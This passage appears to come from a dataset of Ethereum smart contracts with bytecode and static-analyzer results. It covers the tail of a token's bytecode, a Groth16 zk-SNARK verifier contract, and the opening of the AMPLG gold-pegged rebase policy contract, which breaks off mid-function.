fffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611c0a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b756022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611740576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561184c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611b526023913960400191505060405180910390fd5b611857868686611b4c565b6118c284604051806060016040528060268152602001611b97602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611955846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611ab1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a76578082015181840152602081019050611a5b565b50505050905090810190601f168015611aa35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220033e9822ca0dac8199c1bc88185b83a26d41491918c7f14a7c80880b5d57f35a64736f6c63430006060033
{"success": true, "error": null, "results": {}}
1,079
0x3DAa0B2a994b1BC60dB9e312aD0a8d87a1Bb16D2
// SPDX-License-Identifier: AGPL-3.0 // // Copyright 2017 Christian Reitwiessner // Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: // The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. // // 2019 OKIMS // ported to solidity 0.6 // fixed linter warnings // added requiere error messages // // // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.6.11; library Pairing { struct G1Point { uint X; uint Y; } // Encoding of field elements is: X[0] * z + X[1] struct G2Point { uint[2] X; uint[2] Y; } /// @return the generator of G1 function P1() internal pure returns (G1Point memory) { return G1Point(1, 2); } /// @return the generator of G2 function P2() internal pure returns (G2Point memory) { // Original code point return G2Point( [11559732032986387107991004021392285783925812861821192530917403151452391805634, 10857046999023057135944570762232829481370756359578518086990519993285655852781], [4082367875863433681332203403145435568316851327593401208105741076214120093531, 8495653923123431417604973247489272438418190587263600148770280649306958101930] ); /* // Changed by Jordi point return G2Point( [10857046999023057135944570762232829481370756359578518086990519993285655852781, 11559732032986387107991004021392285783925812861821192530917403151452391805634], [8495653923123431417604973247489272438418190587263600148770280649306958101930, 4082367875863433681332203403145435568316851327593401208105741076214120093531] ); */ } /// @return r the negation of p, i.e. p.addition(p.negate()) should be zero. function negate(G1Point memory p) internal pure returns (G1Point memory r) { // The prime q in the base field F_q for G1 uint q = 21888242871839275222246405745257275088696311157297823662689037894645226208583; if (p.X == 0 && p.Y == 0) return G1Point(0, 0); return G1Point(p.X, q - (p.Y % q)); } /// @return r the sum of two points of G1 function addition(G1Point memory p1, G1Point memory p2) internal view returns (G1Point memory r) { uint[4] memory input; input[0] = p1.X; input[1] = p1.Y; input[2] = p2.X; input[3] = p2.Y; bool success; // solium-disable-next-line security/no-inline-assembly assembly { success := staticcall(sub(gas(), 2000), 6, input, 0xc0, r, 0x60) // Use "invalid" to make gas estimation work switch success case 0 { invalid() } } require(success,"pairing-add-failed"); } /// @return r the product of a point on G1 and a scalar, i.e. /// p == p.scalar_mul(1) and p.addition(p) == p.scalar_mul(2) for all points p. function scalar_mul(G1Point memory p, uint s) internal view returns (G1Point memory r) { uint[3] memory input; input[0] = p.X; input[1] = p.Y; input[2] = s; bool success; // solium-disable-next-line security/no-inline-assembly assembly { success := staticcall(sub(gas(), 2000), 7, input, 0x80, r, 0x60) // Use "invalid" to make gas estimation work switch success case 0 { invalid() } } require (success,"pairing-mul-failed"); } /// @return the result of computing the pairing check /// e(p1[0], p2[0]) * .... * e(p1[n], p2[n]) == 1 /// For example pairing([P1(), P1().negate()], [P2(), P2()]) should /// return true. function pairing(G1Point[] memory p1, G2Point[] memory p2) internal view returns (bool) { require(p1.length == p2.length,"pairing-lengths-failed"); uint elements = p1.length; uint inputSize = elements * 6; uint[] memory input = new uint[](inputSize); for (uint i = 0; i < elements; i++) { input[i * 6 + 0] = p1[i].X; input[i * 6 + 1] = p1[i].Y; input[i * 6 + 2] = p2[i].X[0]; input[i * 6 + 3] = p2[i].X[1]; input[i * 6 + 4] = p2[i].Y[0]; input[i * 6 + 5] = p2[i].Y[1]; } uint[1] memory out; bool success; // solium-disable-next-line security/no-inline-assembly assembly { success := staticcall(sub(gas(), 2000), 8, add(input, 0x20), mul(inputSize, 0x20), out, 0x20) // Use "invalid" to make gas estimation work switch success case 0 { invalid() } } require(success,"pairing-opcode-failed"); return out[0] != 0; } /// Convenience method for a pairing check for two pairs. function pairingProd2(G1Point memory a1, G2Point memory a2, G1Point memory b1, G2Point memory b2) internal view returns (bool) { G1Point[] memory p1 = new G1Point[](2); G2Point[] memory p2 = new G2Point[](2); p1[0] = a1; p1[1] = b1; p2[0] = a2; p2[1] = b2; return pairing(p1, p2); } /// Convenience method for a pairing check for three pairs. function pairingProd3( G1Point memory a1, G2Point memory a2, G1Point memory b1, G2Point memory b2, G1Point memory c1, G2Point memory c2 ) internal view returns (bool) { G1Point[] memory p1 = new G1Point[](3); G2Point[] memory p2 = new G2Point[](3); p1[0] = a1; p1[1] = b1; p1[2] = c1; p2[0] = a2; p2[1] = b2; p2[2] = c2; return pairing(p1, p2); } /// Convenience method for a pairing check for four pairs. function pairingProd4( G1Point memory a1, G2Point memory a2, G1Point memory b1, G2Point memory b2, G1Point memory c1, G2Point memory c2, G1Point memory d1, G2Point memory d2 ) internal view returns (bool) { G1Point[] memory p1 = new G1Point[](4); G2Point[] memory p2 = new G2Point[](4); p1[0] = a1; p1[1] = b1; p1[2] = c1; p1[3] = d1; p2[0] = a2; p2[1] = b2; p2[2] = c2; p2[3] = d2; return pairing(p1, p2); } } contract Verifier400 { using Pairing for *; struct VerifyingKey { Pairing.G1Point alfa1; Pairing.G2Point beta2; Pairing.G2Point gamma2; Pairing.G2Point delta2; Pairing.G1Point[] IC; } struct Proof { Pairing.G1Point A; Pairing.G2Point B; Pairing.G1Point C; } function verifyingKey() internal pure returns (VerifyingKey memory vk) { vk.alfa1 = Pairing.G1Point(20491192805390485299153009773594534940189261866228447918068658471970481763042,9383485363053290200918347156157836566562967994039712273449902621266178545958); vk.beta2 = Pairing.G2Point([4252822878758300859123897981450591353533073413197771768651442665752259397132,6375614351688725206403948262868962793625744043794305715222011528459656738731], [21847035105528745403288232691147584728191162732299865338377159692350059136679,10505242626370262277552901082094356697409835680220590971873171140371331206856]); vk.gamma2 = Pairing.G2Point([11559732032986387107991004021392285783925812861821192530917403151452391805634,10857046999023057135944570762232829481370756359578518086990519993285655852781], [4082367875863433681332203403145435568316851327593401208105741076214120093531,8495653923123431417604973247489272438418190587263600148770280649306958101930]); vk.delta2 = Pairing.G2Point([14867417606631193217040121898747161918533542783720480382917845205859990140462,7926493964972762282458341276015512236679139532948396383962686052334355500761], [20858360326920742665434502606063893110221975438792458711366325377409050777543,11425724857950841117996881236446784933901515676367441378576550354902227497234]); vk.IC = new Pairing.G1Point[](2); vk.IC[0] = Pairing.G1Point(8676718666848112535920078468055614937212033283211953673244901303301166209672,10150383064086068589682883618964870470206361186233206488150581475814478876859); vk.IC[1] = Pairing.G1Point(18256138410557127475705157972721945040464891389818092951419656649695435740977,4145839438226689110675223672249137322908544158194159193736833789401028673936); } function verify(uint[] memory input, Proof memory proof) internal view returns (uint) { uint256 snark_scalar_field = 21888242871839275222246405745257275088548364400416034343698204186575808495617; VerifyingKey memory vk = verifyingKey(); require(input.length + 1 == vk.IC.length,"verifier-bad-input"); // Compute the linear combination vk_x Pairing.G1Point memory vk_x = Pairing.G1Point(0, 0); for (uint i = 0; i < input.length; i++) { require(input[i] < snark_scalar_field,"verifier-gte-snark-scalar-field"); vk_x = Pairing.addition(vk_x, Pairing.scalar_mul(vk.IC[i + 1], input[i])); } vk_x = Pairing.addition(vk_x, vk.IC[0]); if (!Pairing.pairingProd4( Pairing.negate(proof.A), proof.B, vk.alfa1, vk.beta2, vk_x, vk.gamma2, proof.C, vk.delta2 )) return 1; return 0; } /// @return r bool true if proof is valid function verifyProof( uint[2] memory a, uint[2][2] memory b, uint[2] memory c, uint[1] memory input ) public view returns (bool r) { Proof memory proof; proof.A = Pairing.G1Point(a[0], a[1]); proof.B = Pairing.G2Point([b[0][0], b[0][1]], [b[1][0], b[1][1]]); proof.C = Pairing.G1Point(c[0], c[1]); uint[] memory inputValues = new uint[](input.length); for(uint i = 0; i < input.length; i++){ inputValues[i] = input[i]; } if (verify(inputValues, proof) == 0) { return true; } else { return false; } } }
0x608060405234801561001057600080fd5b506004361061002b5760003560e01c806343753b4d14610030575b600080fd5b61012c600480360361012081101561004757600080fd5b6040805180820182529183019291818301918390600290839083908082843760009201829052506040805180820190915293969594608081019493509150600290835b828210156100c8576040805180820182529080840286019060029083908390808284376000920191909152505050815260019091019060200161008a565b5050604080518082018252939695948181019493509150600290839083908082843760009201919091525050604080516020818101909252929594938181019392509060019083908390808284376000920191909152509194506101409350505050565b604080519115158252519081900360200190f35b600061014a610d41565b6040805180820182528751815260208089015181830152908352815160808101835287515181840190815288518301516060808401919091529082528351808501855289840180515182525184015181850152828401528483019190915282518084018452875181528783015181840152848401528251600180825281850190945290929091828101908036833701905050905060005b600181101561021a578481600181106101f657fe5b602002015182828151811061020757fe5b60209081029190910101526001016101e1565b506102258183610243565b6102345760019250505061023b565b6000925050505b949350505050565b60007f30644e72e131a029b85045b68181585d2833e84879b9709143e1f593f000000161026e610d73565b61027661041f565b90508060800151518551600101146102ca576040805162461bcd60e51b81526020600482015260126024820152711d995c9a599a595c8b5898590b5a5b9c1d5d60721b604482015290519081900360640190fd5b6102d2610dba565b6040518060400160405280600081526020016000815250905060005b86518110156103a8578387828151811061030457fe5b60200260200101511061035e576040805162461bcd60e51b815260206004820152601f60248201527f76657269666965722d6774652d736e61726b2d7363616c61722d6669656c6400604482015290519081900360640190fd5b61039e826103998560800151846001018151811061037857fe5b60200260200101518a858151811061038c57fe5b60200260200101516107a0565b610835565b91506001016102ee565b506103cb8183608001516000815181106103be57fe5b6020026020010151610835565b90506104016103dd86600001516108c6565b8660200151846000015185602001518587604001518b604001518960600151610952565b6104115760019350505050610419565b600093505050505b92915050565b610427610d73565b6040805180820182527f2d4d9aa7e302d9df41749d5507949d05dbea33fbb16c643b22f599a2be6df2e281527f14bedd503c37ceb061d8ec60209fe345ce89830a19230301f076caff004d19266020808301919091529083528151608080820184527f0967032fcbf776d1afc985f88877f182d38480a653f2decaa9794cbc3bf3060c8285019081527f0e187847ad4c798374d0d6732bf501847dd68bc0e071241e0213bc7fc13db7ab606080850191909152908352845180860186527f304cfbd1e08a704a99f5e847d93f8c3caafddec46b7a0d379da69a4d112346a781527f1739c1b1a457a8c7313123d24d2f9192f896b7c63eea05a9d57f06547ad0cec8818601528385015285840192909252835180820185527f198e9393920d483a7260bfb731fb5d25f1aa493335a9e71297e485b7aef312c28186019081527f1800deef121f1e76426a00665e5c4479674322d4f75edadd46debd5cd992f6ed828501528152845180860186527f090689d0585ff075ec9e99ad690c3395bc4b313370b38ef355acdadcd122975b81527f12c85ea5db8c6deb4aab71808dcb408fe3d1e7690c43d37b4ce6cc0166fa7daa818601528185015285850152835190810184527f20dea9005044bc86fcfc578db6934645cd1e9021d7258b6818577bd952be762e8185019081527f11863c91aec14bb633e18941e7a95f9e770eeaa81e8889b0bd139ee4d9be4ed9828401528152835180850185527f2e1d69e02dbe91ffe16db0b6b1a583d30c03e32c7161efd1ee2225ad7dc097c781527f1942bb2931157ebd7c9f91191f57a1302c8fc43456464d37e75a3f6b69ea3112818501528184015281850152825160028082529181019093529082015b6106a8610dba565b8152602001906001900390816106a057505060808201908152604080518082019091527f132ed94677f474351d91650452a28ba2ff7ef96a2d2f448cb0dae7cbdbd61a8881527f1670e9c8ee71334ec1c156e5a7e9d287d32d613509bab380d3642173d31690bb60208201529051805160009061072157fe5b602002602001018190525060405180604001604052807f285c9bb0cd69ae74b7aa5d60c7541ab87d210cc5d5c2e1e5fe5e5348a75cd73181526020017f092a764370b969f008225a6d7534100040e89236e046497d0399dd0b4eecc190815250816080015160018151811061079257fe5b602002602001018190525090565b6107a8610dba565b6107b0610dd4565b835181526020808501519082015260408101839052600060608360808460076107d05a03fa90508080156107e3576107e5565bfe5b508061082d576040805162461bcd60e51b81526020600482015260126024820152711c185a5c9a5b99cb5b5d5b0b59985a5b195960721b604482015290519081900360640190fd5b505092915050565b61083d610dba565b610845610df2565b8351815260208085015181830152835160408301528301516060808301919091526000908360c08460066107d05a03fa90508080156107e357508061082d576040805162461bcd60e51b81526020600482015260126024820152711c185a5c9a5b99cb5859190b59985a5b195960721b604482015290519081900360640190fd5b6108ce610dba565b81517f30644e72e131a029b85045b68181585d97816a916871ca8d3c208c16d87cfd479015801561090157506020830151155b15610921575050604080518082019091526000808252602082015261094d565b6040518060400160405280846000015181526020018285602001518161094357fe5b0683038152509150505b919050565b60408051600480825260a0820190925260009160609190816020015b610976610dba565b81526020019060019003908161096e57505060408051600480825260a0820190925291925060609190602082015b6109ac610e10565b8152602001906001900390816109a45790505090508a826000815181106109cf57fe5b602002602001018190525088826001815181106109e857fe5b60200260200101819052508682600281518110610a0157fe5b60200260200101819052508482600381518110610a1a57fe5b60200260200101819052508981600081518110610a3357fe5b60200260200101819052508781600181518110610a4c57fe5b60200260200101819052508581600281518110610a6557fe5b60200260200101819052508381600381518110610a7e57fe5b6020026020010181905250610a938282610aa2565b9b9a5050505050505050505050565b60008151835114610af3576040805162461bcd60e51b81526020600482015260166024820152751c185a5c9a5b99cb5b195b99dd1a1ccb59985a5b195960521b604482015290519081900360640190fd5b82516006810260608167ffffffffffffffff81118015610b1257600080fd5b50604051908082528060200260200182016040528015610b3c578160200160208202803683370190505b50905060005b83811015610cc157868181518110610b5657fe5b602002602001015160000151828260060260000181518110610b7457fe5b602002602001018181525050868181518110610b8c57fe5b602002602001015160200151828260060260010181518110610baa57fe5b602002602001018181525050858181518110610bc257fe5b602090810291909101015151518251839060026006850201908110610be357fe5b602002602001018181525050858181518110610bfb57fe5b60209081029190910101515160016020020151828260060260030181518110610c2057fe5b602002602001018181525050858181518110610c3857fe5b602002602001015160200151600060028110610c5057fe5b6020020151828260060260040181518110610c6757fe5b602002602001018181525050858181518110610c7f57fe5b602002602001015160200151600160028110610c9757fe5b6020020151828260060260050181518110610cae57fe5b6020908102919091010152600101610b42565b50610cca610e30565b6000602082602086026020860160086107d05a03fa90508080156107e3575080610d33576040805162461bcd60e51b81526020600482015260156024820152741c185a5c9a5b99cb5bdc18dbd9194b59985a5b1959605a1b604482015290519081900360640190fd5b505115159695505050505050565b6040518060600160405280610d54610dba565b8152602001610d61610e10565b8152602001610d6e610dba565b905290565b6040518060a00160405280610d86610dba565b8152602001610d93610e10565b8152602001610da0610e10565b8152602001610dad610e10565b8152602001606081525090565b604051806040016040528060008152602001600081525090565b60405180606001604052806003906020820280368337509192915050565b60405180608001604052806004906020820280368337509192915050565b6040518060400160405280610e23610e4e565b8152602001610d6e610e4e565b60405180602001604052806001906020820280368337509192915050565b6040518060400160405280600290602082028036833750919291505056fea2646970667358221220d8cb04119f2e4c7af33e4bb7e870846ccd41a40f2b7969c9445f7fc57bd6718d64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
1,080
0xfb4752837843009dec9ce5e5e8a91c22fc58febb
// SPDX-License-Identifier: MIT /* _ __ __ ____ _ ____ _ _ _ / \ | \/ | _ \| | / ___| ___ | | __| | (_) ___ / _ \ | |\/| | |_) | | | | _ / _ \| |/ _` | | |/ _ \ / ___ \| | | | __/| |__| |_| | (_) | | (_| | _ | | (_) | /_/ \_\_| |_|_| |_____\____|\___/|_|\__,_| (_) |_|\___/ Ample Gold $AMPLG is a goldpegged defi protocol that is based on Ampleforths elastic tokensupply model. AMPLG is designed to maintain its base price target of 0.01g of Gold with a progammed inflation adjustment (rebase). Forked from Ampleforth: https://github.com/ampleforth/uFragments (Credits to Ampleforth team for implementation of rebasing on the ethereum network) GPL 3.0 license AMPLG_GoldPolicy.sol - AMPLG Gold Orchestrator Policy */ pragma solidity ^0.6.12; /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } /** * @dev Division of two int256 variables and fails on overflow. */ function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } /** * @dev Subtracts two int256 variables and fails on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two int256 variables and fails on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Converts to absolute value, and fails on overflow. */ function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } } /** * @title Various utilities useful for uint256. */ library UInt256Lib { uint256 private constant MAX_INT256 = ~(uint256(1) << 255); /** * @dev Safely converts a uint256 to an int256. */ function toInt256Safe(uint256 a) internal pure returns (int256) { require(a <= MAX_INT256); return int256(a); } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } interface IAMPLG { function totalSupply() external view returns (uint256); function rebaseGold(uint256 epoch, int256 supplyDelta) external returns (uint256); } interface IOracle { function getData() external view returns (uint256, bool); } interface IGoldOracle { function getGoldPrice() external view returns (uint256, bool); function getMarketPrice() external view returns (uint256, bool); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address private _owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { _owner = msg.sender; } /** * @return the address of the owner. */ function owner() public view returns(address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner()); _; } /** * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns(bool) { return msg.sender == _owner; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(_owner); _owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @title AMPLG $AMPLG Gold Supply Policy * @dev This is the extended orchestrator version of the AMPLG $AMPLG Ideal Gold Pegged DeFi protocol aka Ampleforth Gold ($AMPLG). * AMPLG operates symmetrically on expansion and contraction. It will both split and * combine coins to maintain a stable gold unit price against PAX gold. * * This component regulates the token supply of the AMPLG ERC20 token in response to * market oracles and gold price. */ contract AMPLGGoldPolicy is Ownable { using SafeMath for uint256; using SafeMathInt for int256; using UInt256Lib for uint256; event LogRebase( uint256 indexed epoch, uint256 exchangeRate, uint256 goldPrice, int256 requestedSupplyAdjustment, uint256 timestampSec ); IAMPLG public amplg; // Gold oracle provides the gold price and market price. IGoldOracle public goldOracle; // If the current exchange rate is within this fractional distance from the target, no supply // update is performed. Fixed point number--same format as the rate. // (ie) abs(rate - targetRate) / targetRate < deviationThreshold, then no supply change. // DECIMALS Fixed point number. uint256 public deviationThreshold; // The rebase lag parameter, used to dampen the applied supply adjustment by 1 / rebaseLag // Check setRebaseLag comments for more details. // Natural number, no decimal places. uint256 public rebaseLag; // More than this much time must pass between rebase operations. uint256 public minRebaseTimeIntervalSec; // Block timestamp of last rebase operation uint256 public lastRebaseTimestampSec; // The number of rebase cycles since inception uint256 public epoch; uint256 private constant DECIMALS = 18; // Due to the expression in computeSupplyDelta(), MAX_RATE * MAX_SUPPLY must fit into an int256. // Both are 18 decimals fixed point numbers. uint256 private constant MAX_RATE = 10**6 * 10**DECIMALS; // MAX_SUPPLY = MAX_INT256 / MAX_RATE uint256 private constant MAX_SUPPLY = ~(uint256(1) << 255) / MAX_RATE; constructor() public { deviationThreshold = 5 * 10 ** (DECIMALS-2); rebaseLag = 6; minRebaseTimeIntervalSec = 12 hours; lastRebaseTimestampSec = 0; epoch = 0; } /** * @notice Returns true if at least minRebaseTimeIntervalSec seconds have passed since last rebase. * */ function canRebase() public view returns (bool) { return (lastRebaseTimestampSec.add(minRebaseTimeIntervalSec) < now); } /** * @notice Initiates a new rebase operation, provided the minimum time period has elapsed. * */ function rebase() external { require(canRebase(), "AMPLG Error: Insufficient time has passed since last rebase."); require(tx.origin == msg.sender); lastRebaseTimestampSec = now; epoch = epoch.add(1); (uint256 curGoldPrice, uint256 marketPrice, int256 targetRate, int256 supplyDelta) = getRebaseValues(); uint256 supplyAfterRebase = amplg.rebaseGold(epoch, supplyDelta); assert(supplyAfterRebase <= MAX_SUPPLY); emit LogRebase(epoch, marketPrice, curGoldPrice, supplyDelta, now); } /** * @notice Calculates the supplyDelta and returns the current set of values for the rebase * * @dev The supply adjustment equals the formula * (current price – base target price in usd) * total supply / (base target price in usd * lag * factor) */ function getRebaseValues() public view returns (uint256, uint256, int256, int256) { uint256 curGoldPrice; bool goldValid; (curGoldPrice, goldValid) = goldOracle.getGoldPrice(); require(goldValid); uint256 marketPrice; bool marketValid; (marketPrice, marketValid) = 